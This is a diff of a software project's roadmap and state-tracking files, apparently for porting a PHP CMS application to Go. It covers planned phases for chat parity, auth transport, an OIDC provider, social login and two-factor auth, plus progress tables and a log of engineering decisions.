**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`. Port the Wavepath copy (with `root_id` threading and `thread_summaries`); decided 2026-10-11, see `.planning/notes/wavepath-framework-asks-division.md`.
**Requirements**: TBD
**Success Criteria** (what must be TRUE):
@@ -1108,11 +1222,119 @@ Plans:
Plans:
- [ ] TBD (run $gsd-plan-phase 19.1 to break down)
### Phase 19.2: Chat polish against WavePath clients (INSERTED)
**Goal:** The ported chat and chat satellites carry WavePath's chat traffic exactly as PHP does. The chat routes that WavePath's clients call are recorded with `tide`, replayed against the Go plugins and fixed until green, so that chat, the core feature of WavePath, is not the risk in the WavePath migration.
**Mode:** mvp
**Depends on:** Phase 19, Phase 19.1
**Repos:** `sm-chat-plugin`, `sm-chatchannels-plugin` and the satellite repos; `summercms.go` only for `lighthouse` or `tide` gaps
**Requirements**: TBD
**Success Criteria** (what must be TRUE):
1. A `tide` corpus of the chat, channel, thread, video-room and push routes, recorded from the PHP backend through `vue-wavepath-app`, `wavepath-mcp` and `hubot-wavepath`, replays green against the Go plugins.
2. Realtime events on the `chat`, `video` and `presence:` namespaces match the PHP broadcasts recorded by the `tide` Centrifugo recorder.
3. Behaviour stays neutral to the other consumers of these plugins (QuestStream, Horoskopia, Portal). Framework READMEs and docs still name no application.
4. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 0 plans
Plans:
- [ ] TBD (run /msd-plan-phase 19.2 to break down)
### Phase 19.3: Framework transport and infrastructure for WavePath (INSERTED)
**Goal:** The framework has the transport and infrastructure pieces a multi-client, multi-instance application needs: JWT cookie refresh across subdomains, credentialed CORS, a cache module with a Redis-backed rate-limit store, an S3 blob option, an OpenAPI page and Turnstile verification.
**Mode:** mvp
**Depends on:** Phase 11
**Repos:** `summercms.go`
**Requirements**: TBD
**Success Criteria** (what must be TRUE):
1. `bouncer` refresh issues a new httpOnly `token` cookie whose `Domain`, `SameSite` and `Secure` attributes are configurable to match PHP, and blacklists the old JTI. The 60-minute TTL and 14-day refresh window are config keys, and credentialed CORS for a configured SPA origin is available as middleware.
2. A cache module ships with memory and Redis drivers, and `surf` gains a Redis-backed `Store`, so rate limits hold across instances. The Redis client dependency has a decision note before code lands.
3. An S3 blob driver can be selected through framework config, so the application does not import it. `/api-docs` and `/api-docs.json` can be served. Turnstile verification middleware is available.
4. The touched modules' READMEs and `docs/` pages are updated. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 6/6 plans executed
Plans:
**Wave 1**
- [x] 19.3-01-PLAN.md — Decision note, then the `cooler` module: Redis-backed rate-limit store wired by serve, memory (otter) and Redis cache drivers (wave 1)
**Wave 2** *(blocked on Wave 1 completion)*
- [x] 19.3-02-PLAN.md — bouncer cookie transport and Turnstile, surf CORS hardening and `cors:<profile>`, opt-in /api-docs (wave 2)
- [x] 19.3-03-PLAN.md — summer.yaml `build.tags` and the `summercms_s3` S3 driver, disk-name extension fix, `storage.uploads.public_url` (wave 2)
- [x] 19.3-04-PLAN.md — Site-cache purge in cooler, `pact.ReorderAfterSave`, Journal/menu/FAQ adoption, shared Nuxt purge route in three layers, push checkpoint, app pointer bumps (wave 2)
**Wave 3** *(blocked on Wave 2 completion)*
- [x] 19.3-05-PLAN.md — Unit tests for all new code, `scripts/check-phase19.3.sh`, miniredis legitimacy check, release checkpoint (wave 3)
**Wave 4** *(gap closure)*
- [x] 19.3-06-PLAN.md — Gap closure: `cors:<profile>` applied outermost (CR-01), review warnings WR-01..WR-09 (queued purges, no redirects, layer `allowProxied`, credentialed CORS origin rules, production cookie Secure, api-docs CSP, protected uploads vs `public_url`, Turnstile boot warning, zero `CookieConfig`), unit tests, release checkpoint v0.1.28 (wave 4)
### Phase 19.4: OIDC provider on wristband (INSERTED)
**Goal:** `wristband` is a full OpenID Connect provider that existing relying parties can switch to without noticing: discovery, JWKS with asymmetric signing and key rotation, `id_token`, userinfo, resumable authorization with account switching, a consent store and pairwise subjects. The existing issuer, signing keys and client secrets carry over.
**Mode:** mvp
**Depends on:** Phase 8, Phase 19.3
**Repos:** `summercms.go`
**Requirements**: TBD
**Success Criteria** (what must be TRUE):
1. A decision note settles whether the full OIDC provider extends the hand-written `wristband` server or puts zitadel/oidc v3 behind it, before code lands.
2. `/.well-known/openid-configuration`, the JWKS endpoint, userinfo and `id_token` in the token response work with RS256 or ES256 keys. Rotation publishes the old and the new key together.
3. The authorization flow supports resuming a request, switching account, the consent list and revocation, and pairwise and public subjects. A scheduled prune job removes expired codes, tokens and requests.
4. An existing issuer, its signing keys and client secrets can be imported so that relying parties keep working. The phase gets a security review.
5. The `wristband` README and `docs/` pages are updated. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 0 plans
Plans:
- [ ] TBD (run /msd-plan-phase 19.4 to break down)
### Phase 19.5: Social login in sm-user-plugin (INSERTED)
**Goal:** `sm-user-plugin` signs users in with Google and Facebook through `/oauth/{provider}` and its callback, with a provider registry open to more providers, the SPA one-time-code handoff and the pending-registration branch, matching the PHP user plugin's contract.
**Mode:** mvp
**Depends on:** Phase 19.3
**Repos:** `sm-user-plugin`; `summercms.go` only if a provider client belongs in the framework
**Requirements**: TBD
**Success Criteria** (what must be TRUE):
1. `/oauth/google` and `/oauth/facebook` and their callbacks keep the PHP paths, because desktop shells hard-code them.
2. SPA mode (`?mode=spa&frontend_callback=…`) redirects with a one-time code that `oauth-complete` exchanges. A new social user who still needs profile completion goes through `oauth-register-complete`.
3. Identities are linked on login and listed and unlinked through the existing identity routes. Both applications that consume the plugin still build and pass their tests.
4. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 0 plans
Plans:
- [ ] TBD (run /msd-plan-phase 19.5 to break down)
### Phase 19.6: Two-factor auth and device flow in sm-user-plugin (INSERTED)
**Goal:** `sm-user-plugin` has the PHP user plugin's second factors and device login: TOTP, WebAuthn, email codes, recovery codes and trusted devices, a challenge step during login, and QR/code device authorization.
**Mode:** mvp
**Depends on:** Phase 19.3
**Repos:** `sm-user-plugin`
**Requirements**: TBD
**Success Criteria** (what must be TRUE):
1. TOTP setup, confirm and disable; WebAuthn registration and login challenges; email codes; recovery codes; and trusted devices all work against the PHP contract. The WebAuthn dependency has a decision note before code lands.
2. Login with a second factor enabled returns the unauthenticated challenge step, rate-limited by the `2fa-verify` bucket.
3. Device authorization (`devices/initiate`, `devices/status/{token}`, `devices/authorize`, and the device list and revoke) works on the `DeviceAuthSession` model.
4. The models TwoFactorMethod, TwoFactorChallenge, TwoFactorRecoveryCode, TrustedDevice, WebAuthnCredential and DeviceAuthSession and their migrations are ported. The phase gets a security review. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 0 plans
Plans:
- [ ] TBD (run /msd-plan-phase 19.6 to break down)
### Phase 20: Płytarium cutover
**Goal**: The parity harness is green on every manifest route and `vue-fonoteka-app` and `fonoteka-mcp` run unchanged against the Go backend in daily use in production — the Płytarium definition of done.
**Mode:** mvp
**Depends on**: Phase 2, Phase 8, Phase 9, Phase 10, Phase 12, Phase 12.1, Phase 13, Phase 14, Phase 14.1, Phase 14.2, Phase 15, Phase 16
**Depends on**: Phase 2, Phase 8, Phase 9, Phase 10, Phase 12, Phase 12.1, Phase 13, Phase 14, Phase 14.1, Phase 14.2, Phase 15, Phase 16, Phases 19 to 19.6 (decided 2026-10-11: the 19.x WavePath readiness work lands before the cutover)
**Repos:** fonoteka.go, summercms.go
**Requirements**: API-09, QA-05
**Success Criteria** (what must be TRUE):
@@ -1127,7 +1349,7 @@ Plans:
## Progress
**Execution Order:**
Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 14.2.1 → 14.3 → 15 → 16 → 17 → 18 → 18.1 → 19 → 19.1 → 20
Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 14.2.1 → 14.3 → 15 → 16 → 17 → 18 → 18.1 → 19 → 19.1 → 19.2 → 19.3 → 19.4 → 19.5 → 19.6 → 20
(Phase 2 depends on Phase 1's command kernel; the two are no longer parallel.)
| Phase | Plans Complete | Status | Completed |
@@ -1138,26 +1360,39 @@ Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 →
| 4. CLI scaffolding, i18n and mail | 4/4 | Complete | 2026-09-18 |
| 5. Data layer full fidelity | 6/6 | Complete | 2026-09-18 |
| 6. HTTP routing, auth groups and rate limiting | 14/14 | Complete | 2026-09-21 |
| 7. User plugin and authentication | 8/8 | Complete | 2026-09-23 |
| 7. User plugin and authentication | 8/8 | Complete | 2026-09-23 |
| 8. OAuth2.1 authorization server | 10/10 | Complete | 2026-09-23 |
| 9. Backend admin authentication and schema pipeline | 12/12 | Complete | 2026-10-01 |
| 10. Admin Vue SPA | 5/5 | Complete | 2026-09-27 |
| 11. Jobs, realtime and search infrastructure | 8/8 | In Progress| |
| 11.1. SummerCMS documentation for humans and AI agents | 7/7 | In Progress| |
| 11.2. summercms.io Alpha 0.1 landing page on SummerCMS | 3/3 | In Progress| |
| 9. Backend admin authentication and schema pipeline | 12/12 | Complete | 2026-10-01 |
| 10. Admin Vue SPA | 5/5 | Complete | 2026-09-27 |
| 10.1. Runtime admin extension point (INSERTED) | 4/4 | Complete | 2026-10-06 |
| 10.2. Nest framework packages under modules and write run docs (INSERTED) | 2/2 | Complete | 2026-10-06 |
| 11. Jobs, realtime and search infrastructure | 8/8 | Complete | 2026-10-06 |
| 11.1. SummerCMS documentation for humans and AI agents | 7/7 | Complete | 2026-10-06 |
| 11.2. summercms.io Alpha 0.1 landing page on SummerCMS | 3/3 | Complete | 2026-10-06 |
| 12. Płytarium API — Collections and Albums | 5/5 | Complete | 2026-10-02 |
| 13. Płytarium API — wishlist, notifications, CSV, credentials, public routes | 6/6 | In Progress| |
| 14. Domain jobs and external integrations | 6/6 | In Progress| |
| 14.1. OAuth identities and fonoteka me routes (INSERTED) | 2/2 | Complete | 2026-10-05 |
| 14.2. Local Fonoteka frontend on local SummerCMS backend (INSERTED) | 0/TBD | Not started | - |
| 14.3. One-command app scaffolding (INSERTED) | 4/4 | In Progress| |
| 12.1. User plugin admin screens (INSERTED) | 5/5 | Complete | 2026-10-12 |
| 12.2. Admin form fields: date, file upload, relation editing with deferred binding (INSERTED) | 5/5 | Complete | 2026-10-03 |
| 13. Płytarium API — wishlist, notifications, CSV, credentials, public routes | 6/6 | Complete | 2026-10-12 |
| 14. Domain jobs and external integrations | 6/6 | Complete | 2026-10-04 |
| 14.1. OAuth identities and fonoteka me routes (INSERTED) | 2/2 | Complete | 2026-10-05 |
| 14.2. Local Fonoteka frontend on local SummerCMS backend (INSERTED) | 4/4 | Complete | 2026-10-12 |
| 14.2.1. Translate plugin (INSERTED) | 6/6 | Complete | 2026-10-06 |
| 14.3. One-command app scaffolding (INSERTED) | 4/4 | Complete | 2026-10-08 |
| 15. Journal plugin | 4/4 | Complete | 2026-10-06 |
| 16. grzybyfunkcjonalne.pl on reusable blog views | 5/5 | In Progress| |
| 17. Blog companions | 0/TBD | Not started | - |
| 18. Payment Gateway | 0/TBD | Not started | - |
| 18.1. Payment Gateway Subscriptions | 0/TBD | Not started | - |
| 16. grzybyfunkcjonalne.pl on reusable blog views | 5/5 | Complete | 2026-10-09 |
| 16.1. Journal admin urgent fixes (INSERTED) | 3/3 | Complete | 2026-10-10 |
| 16.2. Plugin-provided field types and the Blog Editor formwidget (INSERTED) | 7/7 | Complete | 2026-10-10 |
| 16.3. Backend admin personal API tokens with scopes (INSERTED) | 4/4 | Complete | 2026-10-12 |
| 17. Blog companions | 6/6 | Complete | 2026-10-13 |
| 18. Payment Gateway | 8/8 | Complete | 2026-10-14 |
| 18.1. Payment Gateway Subscriptions | 9/9 | In Progress| |
| 19. Chat and ChatChannels | 0/TBD | Not started | - |
| 19.1. Chat satellites | 0/TBD | Not started | - |
| 19.2. Chat polish against WavePath clients | 0/TBD | Not started | - |
| 19.3. Framework transport and infrastructure for WavePath | 6/6 | In Progress| |
| 19.4. OIDC provider on wristband | 0/TBD | Not started | - |
| 19.5. Social login in sm-user-plugin | 0/TBD | Not started | - |
| 19.6. Two-factor auth and device flow in sm-user-plugin | 0/TBD | Not started | - |
| 20. Płytarium cutover | 0/TBD | Not started | - |
## Backlog

View File

@@ -1,19 +1,19 @@
---
msd_state_version: "1.0"
milestone: v1.0
current_phase: "16.1"
current_phase_name: "Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)"
status: executing
stopped_at: Completed 16.1-01-PLAN.md
last_updated: "2026-10-09T19:05:48.037Z"
last_activity: 2026-10-09
last_activity_desc: Phase 16.1 execution started
state_head: 0ec2e31ffa19b38470109a4ff0eefa518ec0e803
current_phase: "19.3"
current_phase_name: Framework transport and infrastructure for WavePath (INSERTED)
status: Phase 19.3 plans complete; release and whole-phase docs pending in the phase 19.3 main session
stopped_at: Completed 19.3-06-PLAN.md (gap closure; release handed off to the phase 19.3 main session)
last_updated: "2026-10-16T09:58:01.923Z"
last_activity: 2026-10-16
last_activity_desc: "Completed quick task 261016-0fm: Admin minors for v0.2.1"
state_head: 66fd4ae4b702373adc818324270337796f32d71a
progress:
total_phases: 34
completed_phases: 13
total_plans: 151
completed_plans: 145
total_phases: 40
completed_phases: 31
total_plans: 191
completed_plans: 188
gsd_state_version: "1.0"
milestone_name: milestone
---
@@ -22,25 +22,25 @@ milestone_name: milestone
## Project Reference
See: .planning/PROJECT.md (updated 2026-09-16)
See: .planning/PROJECT.md (updated 2026-10-12)
**Core value:** An existing WinterCMS-shaped app can be ported plugin by plugin to a single Go binary without its frontend noticing: the PHP version's API contract is the acceptance test.
**Current focus:** Phase 16.1 — Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)
**Current focus:** Phase 19.3 — Framework transport and infrastructure for WavePath (INSERTED)
## Current Position
Phase: 16.1 (Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)) — EXECUTING
Plan: 2 of 3
Status: Ready to execute
Last activity: 2026-10-09 — Phase 16.1 execution started
Phase: 19.3 (Framework transport and infrastructure for WavePath (INSERTED)) — EXECUTING
Plan: 6 of 6
Status: Phase 19.3 plans complete; release and whole-phase docs pending in the phase 19.3 main session
Last activity: 2026-10-16 - Completed quick task 261016-0fm: Admin minors for v0.2.1
Progress: [██████████] 100%
Progress: [████░░░░░░] 44%
## Performance Metrics
**Velocity:**
- Total plans completed: 65
- Total plans completed: 79
- Average duration: 21 min
- Total execution time: 104 min
@@ -59,6 +59,9 @@ Progress: [██████████] 100%
| 10 | 5 | - | - |
| 10.2 | 2 | - | - |
| 14.1 | 2 | - | - |
| 16.2 | 7 | - | - |
| 16.3 | 4 | - | - |
| 14.2 | 4 | - | - |
**Recent Trend:**
@@ -200,6 +203,48 @@ Progress: [██████████] 100%
| Phase 16 P04 | 40min | 3 tasks | 10 files |
| Phase 16 P05 | 19 min | 3 tasks | 27 files |
| Phase 16.1 P01 | 11 min | 4 tasks | 20 files |
| Phase 16.1 P02 | 1h 26m | 3 tasks | 4 files |
| Phase 16.1 P03 | 12 min | 3 tasks | 8 files |
| Phase 16.2 P01 | 34min | 4 tasks | 51 files |
| Phase 16.2 P02 | 25min | 3 tasks | 24 files |
| Phase 16.2 P03 | 13min | 3 tasks | 21 files |
| Phase 16.2 P04 | 50 min | 3 tasks | 15 files |
| Phase 16.2 P05 | 25 min | 3 tasks | 7 files |
| Phase 16.2 P06 | 43min | 3 tasks | - files |
| Phase 16.3 P01 | 95 | 4 tasks | 43 files |
| Phase 16.3 P02 | 9 min | 3 tasks | 17 files |
| Phase 16.3 P03 | 658 min | 4 tasks | 12 files |
| Phase 16.3 P04 | 30 min | 3 tasks | 16 files |
| Phase 14.2 P01 | 16 min | 3 tasks | 18 files |
| Phase 14.2 P02 | 27min | 4 tasks | 7 files |
| Phase 14.2 P03 | about 4h | 4 tasks | 23 files |
| Phase 14.2 P04 | 60min | 3 tasks | 11 files |
| Phase 17 P01 | 41 min | 4 tasks | 55 files |
| Phase 17 P02 | 50min | 6 tasks | 44 files |
| Phase 17 P03 | 38 min | 4 tasks | 53 files |
| Phase 17 P04 | 32min | 5 tasks | 70 files |
| Phase 17 P05 | 93min | 5 tasks | 103 files |
| Phase 17 P06 | 53 min | 4 tasks | 50 files |
| Phase 18 P01 | 43min | 4 tasks | 59 files |
| Phase 18 P02 | 75min | 4 tasks | 84 files |
| Phase 18 P03 | 45min | 3 tasks | 75 files |
| Phase 18 P04 | 40 min | 3 tasks | 78 files |
| Phase 18 P05 | 20min | 3 tasks | 31 files |
| Phase 18 P06 | 70min | 6 tasks | 52 files |
| Phase 18 P07 | 75 min | 5 tasks | 62 files |
| Phase 18 P08 | 20min | 4 tasks | 7 files |
| Phase 18.1 P01 | 31min | 5 tasks | 37 files |
| Phase 18.1 P02 | 45min | 5 tasks | 30 files |
| Phase 18.1 P03 | 21 min | 4 tasks | 27 files |
| Phase 18.1 P04 | 22 min | 5 tasks | 36 files |
| Phase 18.1 P05 | 20 min | 3 tasks | 20 files |
| Phase 18.1 P06 | 50min | 5 tasks | 39 files |
| Phase 19.3 P01 | 14 min | 2 tasks | 20 files |
| Phase 19.3 P02 | 15min | 4 tasks | 11 files |
| Phase 19.3 P03 | 10 min | 3 tasks | 20 files |
| Phase 19.3 P04 | 60min | 5 tasks | 14 files |
| Phase 19.3 P05 | 49min | 7 tasks | 38 files |
| Phase 19.3 P06 | 40min | 6 tasks | 24 files |
## Accumulated Context
@@ -225,6 +270,12 @@ Progress: [██████████] 100%
- Phase 18.1 inserted after Phase 18: Payment Gateway Subscriptions (split from Phase 18 per 18-CONTEXT D-01)
- Phase 16.1 inserted after Phase 16: Journal admin urgent fixes: relation search, list state, post form content and excerpt (found on UAT) (URGENT)
- Phase 16.2 inserted after Phase 16.1: Plugin-provided field types and the Blog Editor formwidget
- Phase 16.3 inserted after Phase 16: Backend admin personal API tokens with user-selected scopes (Journal agent writes as backend author); successor of Apparatus PersonalApiToken (URGENT)
- Phase 19.2 inserted after Phase 19.1: Chat polish against WavePath clients (WavePath framework asks, 2026-10-11)
- Phase 19.3 inserted after Phase 19.2: Framework transport and infrastructure for WavePath (WavePath framework asks, 2026-10-11)
- Phase 19.4 inserted after Phase 19.3: OIDC provider on wristband (WavePath framework asks, 2026-10-11)
- Phase 19.5 inserted after Phase 19.4: Social login in sm-user-plugin (WavePath framework asks, 2026-10-11)
- Phase 19.6 inserted after Phase 19.5: Two-factor auth and device flow in sm-user-plugin (WavePath framework asks, 2026-10-11)
### Decisions
@@ -649,6 +700,136 @@ Recent decisions affecting current work:
- [Phase 16.1]: meta.enabledLocales lists the default content locale first, then the writer's order
- [Phase 16.1]: Journal FormatHTML renders raw HTML (goldmark WithUnsafe) behind the unchanged rejectUnsafe gate
- [Phase 16.1]: List state: URL plus per-list localStorage key summer-admin.list:<controller>, restored before the first list request, cleared on logout
- [Phase 16.1]: 16.1-02: summercms v0.1.16 tagged on d77393b after the human chose docker-first; journal a675f2f and host cac2ee7 pushed; UAT redeployed
- [Phase 16.1]: 16.1-02: UAT Go log checks read /var/log/supervisor/grzybyfunkcjonalne-go.log directly; supervisorctl tail fails on ANSI escapes in GORM log lines and makes grep-count checks vacuous
- [Phase 16.1]: 16.1-02: D-01/D-03 end-of-phase UAT checks are human-reported but not independently confirmed; queued for /msd-verify-work
- [Phase 16.1]: FormatHTML refuse tests require an error and empty result for every unsafe input: with html.WithUnsafe the gate is the only XSS defence
- [Phase 16.2]: pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the 16.2-01 checkpoint); plans 03, 05 and 06 use the ctx form
- [Phase 16.2]: Plugin field type registry is built per Activate by compileFieldTypes and passed down the compile functions; existing compile functions stay nil-registry wrappers
- [Phase 16.2]: Only pact.FormFieldError from a plugin field type's Decode or Upload is a 422; every other plugin error, Load included, is the opaque 500
- [Phase 16.2]: Untouched plugin field values are skipped on update by canonical encoding/json comparison with the served value (stored value through Load), per field and locale
- [Phase 16.2]: TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (packages approved)
- [Phase 16.2]: Blog Editor bundle built through the Vite application pipeline (single ES entry, fixed names, exports kept) because library mode never minifies ES whitespace
- [Phase 16.2]: Blog Editor link parsing, rendering and commands use isPolicyUrl (http, https, mailto, relative); on* attributes are never captured; external values load outside the undo history
- [Phase 16.2]: Uncaptioned editor images are inline (<p><img></p>); captioned ones are figure with figureImage and figcaption
- [Phase 16.2]: Plan 03: the Journal HTML policy needed exactly the four editor-output rules (figure data-embed/data-id, img alt, ol start); the corpus showed no fifth
- [Phase 16.2]: Plan 03: editor uploads must sniff as a JPEG/PNG/GIF/WebP type matching the extension; uniqueMediaKey errors instead of overwriting when all numbered names are taken
- [Phase 16.2]: Plan 03: admin saves of post content write the Decode output to content and content_html per written locale (FormBefore*/FormAfter* hooks), no goldmark; category 422 gate retired
- [Phase 16.2]: 16.2-04: vue-journal-layer mirrors exactly the four Go editor-output rules; embeds expand only at the v-html sinks, after sanitizeJournalHtml
- [Phase 16.2]: 16.2-04: vue-journal-layer v0.2.0 published (tag 042b65d0 -> 759e684e, human reply "push"); vue-grzybyfunkcjonalne-app main 465286a pins it; a defect gets v0.2.1
- [Phase 16.2]: 16.2-05: summercms v0.1.18 released (human: release v0.1.18); a later defect gets v0.1.19
- [Phase 16.2]: 16.2-05: UAT Nuxt rollback copy is nuxt/.output.prev; the site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart River anchor (supervisorctl tail fails on UAT)
- [Phase 16.3]: D-03 literal: one method-allowed scope must match every required code; ScopeLimit keeps per-scope pattern slices — Locked CONTEXT reading; multi-code lists are stricter than a union
- [Phase 16.3]: CLI uses party.Activated at Run time; cabana.RuntimeCommands(app) signature unchanged (Option A) — User-confirmed Option A so host apps only bump versions
- [Phase 16.3]: ResolveBackend is Bearer-only (cookie-less JWT guard) — Plugin write routes have no CSRF; cookie auth must not drive them
- [Phase 16.3]: 16.3-02: ApiTokensPanel + ApiTokenCreateDialog on /account; plaintext dialog-local only; shared ConfirmDialog for revoke and close-without-copy — UI-SPEC component split
- [Phase 16.3]: 16.3-02: expired from API drives Expired chip; dates use CellValue local YYYY-MM-DD / YYYY-MM-DD HH:mm — Plan decisions; no new date format
- [Phase 16.3]: Released summercms v0.1.21 after human resume release v0.1.21; Journal requires it; grzybyfunkcjonalne journal gitlink bumped; summercmsio not bumped
- [Phase 16.3]: Journal API uses cabana.ResolveBackend with cover golem15.journal.*; ErrTokenScope maps to PHP Insufficient permissions
- [Phase 16.3]: 16.3-04: full unit coverage + scripts/check-phase16.3.sh; postgres PASS on Docker host; nyquist_compliant true — Lean rule 3 phase-ending plan
- [Phase 16.3]: Public Journal Show under optional-auth needs published_at in the past, not only published:true — TestJournalTokens fixture
- [Phase 14.2]: storage.uploads.serve mounts attach.StaticHandlerPublic from surf (owner summercms.surf), resolving bucket and DB per request, with nosniff; default off
- [Phase 14.2]: http.access_log logs one 'http request' record (method, pattern, status, duration_ms; path only when unmatched); default off
- [Phase 14.2]: fonoteka console commands use commandDatabase/commandBucket: published handle, else open+publish; closers close what they opened
- [Phase 14.2]: fonoteka:dev-seed allowed only for SUMMER_ENV local or dev; prints lines after commit; secret shown only on mint
- [Phase 14.2]: dev-stack.sh runs Go processes with TMPDIR=tmp/dev-stack/go-tmp because fileblob renames uploads in from os.TempDir() and fails across devices when /tmp is a tmpfs (deployment fix deferred to Phase 20)
- [Phase 14.2]: dev-stack.sh parses the env file as KEY=value data instead of sourcing it; pnpm dev gets only the NUXT_* values, not the SUMMER_* secrets
- [Phase 14.2]: dev-stack.sh e2e requires a running stack and the guard before Playwright; e2e-verdict refuses skips, flaky, unexpected and zero-expected reports
- [Phase 14.2]: Album model rules see nullable text columns as strings, so an empty format passes like PHP (14.2-03)
- [Phase 14.2]: A 5xx written after the client cancelled the request is logged as 499 by the surf access log (14.2-03)
- [Phase 14.2]: dev-seed creates seeded albums with artist rows and backfills them on rerun (14.2-03)
- [Phase 14.2]: Item 11 PHP cross-check passed by classification: GD-undecodable fixture and missing PHP Centrifugo config, no contract difference (14.2-03)
- [Phase 14.2]: The surf uploads route owns storage.uploads.public_path_prefix: BuildRouter fails when a plugin route sits at or under it
- [Phase 14.2]: check-phase14.2.sh --contracts blocks on the phase's own contract test and only reports the whole pnpm test:contracts suite (missing-catalog.test.mjs predates the phase)
- [Phase 14.2]: check-phase14.2.sh leaves TMPDIR to the caller: a TMPDIR inside a go.work tree makes internal/build scaffold tests edit that go.work
- [Phase 17]: 17-01: menu item type registry is modules/signpost (party activates it before Boot); host URL overrides at menu_items.patterns (YAML only); list types use PatternFrom (one level) so a record type's host override reaches list children
- [Phase 17]: 17-01: framework sanitizer modules/seaglass on bluemonday v1.0.27 (Journal policy without Blog Editor rules, plus tel:); D-10 Journal clause dropped, category content stays blogeditor
- [Phase 17]: 17-01: dependent dropdown options for a repeater row are addressed as {field}=repeater.nested; sibling values reach DependentOptions as strings (nil when empty) on the route and the save recheck
- [Phase 17]: 17-01: reorder saves write parent and sort columns via UpdateColumns (no model hooks); the partition is a belongsTo relation field of the form; stale sets answer 409 reorder_stale
- [Phase 17]: 17-02: framework released as v0.1.23 (annotated, ae75a92 on e2a9529); plan 05 bumps plugin and host requires to it
- [Phase 17]: 17-02: read-only richeditor HTML goes through a client display allowlist because stored values are not sanitized on read
- [Phase 17]: 17-02: repeater rows use a plain aria-expanded disclosure instead of Reka Collapsible so 422 focus reaches collapsed rows
- [Phase 17]: 17-03: Sitemap definition theme key is the constant default; imports always write it and report the PHP theme
- [Phase 17]: 17-03: Journal URL placeholders follow PHP getHeadlessUrlParams order (id, slug, category, year, month, day); translated slugs use PHP fallback via one batched attribute read
- [Phase 17]: 17-03: journal-category nesting returns the subtree per the plan truth; frozen PHP returned every category (deferred item for plan 05 parity)
- [Phase 17]: 17-03: Host tier override lives in config/golem15.yaml under sitemap.priority_tiers and replaces the default list
- [Phase 17]: 17-04: D-16/D-17 API shapes approved verbatim ("approve"); /_menu/api/v1/menus/{code} and /_faq/api/v1/faqs/{slug} are now one-way
- [Phase 17]: 17-04: menu list vs single registry type decided by the resolved item having no URL (pact.ResolvedMenuItem contract); generated children follow stored children
- [Phase 17]: 17-04: public API path params validated in handlers (not route Where) so every miss is the JSON 404
- [Phase 17]: 17-04: FAQ answers and description re-sanitized with seaglass on API output; menu URLs pass AllowedURL on save and on output
- [Phase 17]: 17-05: grzybyfunkcjonalne menu code main-menu; Winter menu types map by the built-in link->url and blog_categories->all-journal-categories, no --map; six orphan link entries dropped
- [Phase 17]: 17-05: sitemap:import-winter --page-url copies a Winter cms-page item as a url item (blog=/blog on grzybyfunkcjonalne); the PHP site had no sitemap settings, plugin defaults apply
- [Phase 17]: 17-05: UAT remote checks run on the server through nginx with curl --resolve to loopback; production deploy and summercms.go push not approved
- [Phase 17]: 17-06: cabana singleton route reruns its transaction once on a Postgres unique violation from SingletonRecord (first-open race); fix 6312929 needs the next framework tag
- [Phase 17]: 17-06: scripts/check-phase17.sh is the Phase 17 gate; every Phase 17 test name sits in one stage list (go, plugins, admin, layers, postgres)
- [Phase 17]: 17-06: protocol-relative menu URLs stay anchors (D-16 rule) in the server and layer; the plan's text-without-href wording is a deferred question
- [Phase 18]: Phase 18 plan 01 release gate: framework tag v0.1.25 held until the phase gate after plan 07 (human reply: hold); nothing pushed or tagged, plans 02 to 06 build against the checkout through go.work replace — One tag for the whole phase with the unit tests of plan 07 included; the plugin plans use go.work replace and need no published version, so holding costs only a later bump
- [Phase 18]: Money is a decimal string on the wire and in the SPA (never a float, never rounded or truncated); MoneyField emits the raw compact text for a malformed or too-precise draft so the server 422 stays the gate — D-07 and D-10 forbid rounding and truncation; emitting the last valid prefix on a bad draft would let Save write a truncated amount
- [Phase 18]: Settings secrets are write-only: the GET omits the value and reports meta.secrets.<field> as stored, env or empty; on PUT an absent key or empty string keeps the stored value and JSON null clears it; meta is omitted when there is nothing to report so existing payloads stay byte-identical — The value must never leave the server (D-13, T-18-03); omitempty on meta and danger keeps the Phase 10 conformance fixtures and the PHP-shaped payloads unchanged
- [Phase 18]: 18-02: cart/details v2 row format is v2-research (long keys, top-level v:2); legacy JMS rows decoded in place, never rewritten
- [Phase 18]: 18-02: notification route verifies (VerifyNotification on the capped raw body) before any database lookup; operators.PaymentContext carries Tx for in-transaction transitions
- [Phase 18]: 18-02: NBP uses Table A of the day before with a 5-day fallback (PHP semantics); Fixer keeps the PHP endpoint with optional fixer_access_key
- [Phase 18]: Admin amounts use money.Stored (struct around Amount4) because cabana money fields/columns accept only string or struct Scanner/Valuer columns
- [Phase 18]: Quote cart widget runs one cabana action (quote_cart) with payload operations; refusals answer 403 ForbiddenError so the admin toasts the localized reason
- [Phase 18]: Paymentgateway admin copy is complete in lang/{en,pl}; plan 04 settings/mailer keys listed in 18-03-SUMMARY
- [Phase 18]: 18-04: cabana settings forms serve method-backed dropdowns from the settings model (pact.DropdownOptionsProvider); framework tag still held to the phase gate
- [Phase 18]: 18-04: default_currency validated as required|in:<ISO codes> plus a BeforeValidate 422 settings.default_currency_required (lagoon has no string/size rule)
- [Phase 18]: 18-04: order mails only with orders on, payment mails (customer and staff) only with orders off, as PHP registerSubscribers; mails sent via lagoon.AfterCommit, events.MailSender seam for apps and tests
- [Phase 18]: 18-05: Stripe operator defaults to hosted Checkout; the Details parameter stripe_checkout_mode overrides the checkout_mode setting per order
- [Phase 18]: 18-05: PaymentIntent created without a payment method answers the requires_action bundle for requires_payment_method; only a confirmed payment method ending there is a decline
